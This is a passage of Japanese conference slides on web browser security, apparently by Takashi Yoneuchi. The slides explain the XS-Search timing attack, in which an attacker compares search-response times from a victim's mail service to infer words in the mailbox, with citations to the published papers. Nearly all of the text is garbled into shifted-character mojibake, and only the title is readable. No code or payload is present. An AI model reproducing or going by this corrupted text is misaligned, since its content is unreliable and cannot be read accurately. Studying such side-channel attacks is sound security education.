‣ ྫ͑͹ҎԼͷ΍ΓͱΓ͔ΒɺϘϒͱΫϦε͸͖ͬͱ஌Γ߹͍ͩͱݴ͑
Δ͠ɺϘϒͱΞϦε͸஌Γ߹͍Ͱ͸ͳͦ͞͏ͩͱ෼͔Δɻ
‣ ʮϘϒɺΫϦεͱͷؒͰૹड৴ͨ͠ϝʔϧͷ݅਺͸Կ݅ʁΞϦεͱ͸ʁʯ
‣ ʮΫϦεͱ͸݅ɺΞϦεͱ͸͔݅ͳɻʯ
‣ ͜Εͱࣅͨ͜ͱΛߦ͏ͷ͕944FBSDIͱݺ͹ΕΔ߈ܸɻ

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TIJGUKTJOGP
εΩʔϜ
944FBSDI
‣ (FMFSOUFSFUBM
‣ ߩݙ944FBSDIͷख๏ΛγεςϚνοΫʹهड़ͨ͠ɻ
‣ 944FBSDIͰར༻͢ΔͷʹͲͷ౷ܭख๏͕ద੾͔ͷݕ౼Λߦͬͨ఺ɻ
‣ $SPTCZFUBM ͷ#PYUFTUͷ࠾༻
4"$SPTCZ %48BMMBDI BOE3)3JFEJ l0QQPSUVOJUJFTBOE-JNJUTPG3FNPUF5JNJOH"UUBDLT z"$.5SBOT
*OG4ZTU4FDVS WPM OP +BO

‣ λΠϛϯάνϟωϧͷBNQMJpDBUJPOख๏ͷఏҊɻ
‣ EJWJEFBOEDPORVFSΞϧΰϦζϜͷఏҊɻ
‣ /(FMFSOUFSBOE")FS[CFSH l$SPTT4JUF4FBSDI"UUBDLT zJO1SPDFFEJOHTPGUIFOE"$.4*(4"$$POGFSFODFPO
$PNQVUFSBOE$PNNVOJDBUJPOT4FDVSJUZ QQr
‣ ࣍ϖʔδҎ߱Ͱ(FMFSOUFSFUBM ͷεΩʔϜΛઆ໌͢Δɻ

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TIJGUKTJOGP
۩ମྫΛϕʔεʹߟ͑Δ
94-FBLT 944FBSDI
‣ લఏ࣍ͷ৚݅Λຬͨ͢ΦϯϥΠϯϝʔϧαʔϏε͕͋ͬͨͱ͢Δɻ
‣ ϝʔϧϘοΫεͷݕࡧ༻"1*Λ͍࣋ͬͯΔɻ
‣ ͦͷ"1*͸ɺݕࡧϫʔυΛड͚औΓɺݕࡧ݁ՌΛฦ͢ɻ
‣ ͦͷ"1*͸ɺݕࡧ݁Ռ͕ଟ͍ͱ͖΄Ͳɺॲཧʹ͕͔͔࣌ؒΔɻ
‣ ΋͠ҎԼͷͭͷ஋Λ߈ܸऀ͕؍ଌͰ͖Δͱ͢Δɻ
‣ ͭ΋ݕࡧ݁Ռ͕ͳͦ͞͏ͳϫʔυͰݕࡧͨ͠ͱ͖ʹ͔͔Δ࣌ؒ
‣ ޠ Ͱݕࡧͨ͠ͱ͖ʹ͔͔Δ࣌ؒ
‣ ΞΠσΞ ͷେ͖͞ΛݟΕ͹ɺϝʔϧϘοΫεதʹޠ ͕୔ࢁ
͋Δ͔෼͔Δɻ܁Γฦ͜͠ΕΛར༻͢ΔͱɺϢʔβʔͷૉੑ͕ු͔
ͼ্͕Δʂ
t1
t2
w
t2
− t1
w

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TIJGUKTJOGP
۩ମྫ
944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹

%VNNZ3FRVFTU
3FTQPOTF
$IBMMFOHF3FRVFTU
3FTQPOTF
7JDUJN
4FSWJDF
7JDUJN
6TFS
"UUBDLFS
*OJUJBUF
$PMMFDU
3FTVMUT
ʮ͜ͷ஫จʹ͕֮͑ͳ͍৔߹
͸ɺ͜ͷϦϯΫΛΫϦοΫʯ

View Slide

TIJGUKTJOGP
۩ମྫ

%VNNZ3FRVFTU
3FTQPOTF
$IBMMFOHF3FRVFTU
3FTQPOTF
7JDUJN
4FSWJDF
7JDUJN
6TFS
"UUBDLFS
*OJUJBUF
$PMMFDU
3FTVMUT
ʮHSXHHSOHXPSHIH
OPHKHʯͷݕࡧ݁ՌΛ໰͍߹Θ
ͤΔɻ݁Ռ͸ۭͳ͸ͣɻ

View Slide

TIJGUKTJOGP
۩ମྫ

%VNNZ3FRVFTU
3FTQPOTF
$IBMMFOHF3FRVFTU
3FTQPOTF
7JDUJN
4FSWJDF
7JDUJN
6TFS
"UUBDLFS
*OJUJBUF
$PMMFDU
3FTVMUT
ʮ"MJDFʯͰݕࡧ͢Δɻ
΋͠ݕࡧ݁Ռͷಛ௃ྔ FHα
Πζ ॲཧ࣌ؒ FUD
͕
%VNNZ3FRVFTUͱ͍͔ۙ൑
ఆ͢Δͱɺۭ͔ͦ͏Ͱͳ͍͔
͕ਪଌͰ͖Δɻ

View Slide

TIJGUKTJOGP
۩ମྫ

%VNNZ3FRVFTU
3FTQPOTF
$IBMMFOHF3FRVFTU
3FTQPOTF
7JDUJN
4FSWJDF
7JDUJN
6TFS
"UUBDLFS
*OJUJBUF
$PMMFDU
3FTVMUT
ͷεςοϓΛ܁Γฦ͢ɻ
͢ΔͱɺϝʔϧϘοΫεʹొ
৔͕ͪ͠ͳޠ ਓ໊ɺ৔
ॴɺʜ
͕෼͔ͬͯ͘Δʂ

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TIJGUKTJOGP
۩ମྫ

%VNNZ3FRVFTU
3FTQPOTF
$IBMMFOHF3FRVFTU
3FTQPOTF
7JDUJN
4FSWJDF
7JDUJN
6TFS
"UUBDLFS
*OJUJBUF
$PMMFDU
3FTVMUT
߈ܸऀ͸ద౰ͳλΠϛϯάͰ
݁ՌΛճऩ͢Δ

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TIJGUKTJOGP
944FBSDI࠶ߟ
0SBDMFʜਆୗػց
‣ ݴ͍׵͑Δͱɺ944FBSDI͸94-FBLTΛ൑ఆ໰୊ͷΦϥΫϧԽ
ͯ͠ར༻͢Δ߈ܸͷ͜ͱͰ͋Δɺͱ΋ݴ͑Δɻ
‣ ΦϥΫϧਆୗػց
‣ ͜͜·Ͱͷ۩ମྫͷ৔߹
‣ 355 Ұछͷ94-FBLT
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Web クライアントサイドの攻防 / Attacks and Defenses in Web Browsers

Web クライアントサイドの攻防 / Attacks and Defenses in Web Browsers

Takashi Yoneuchi

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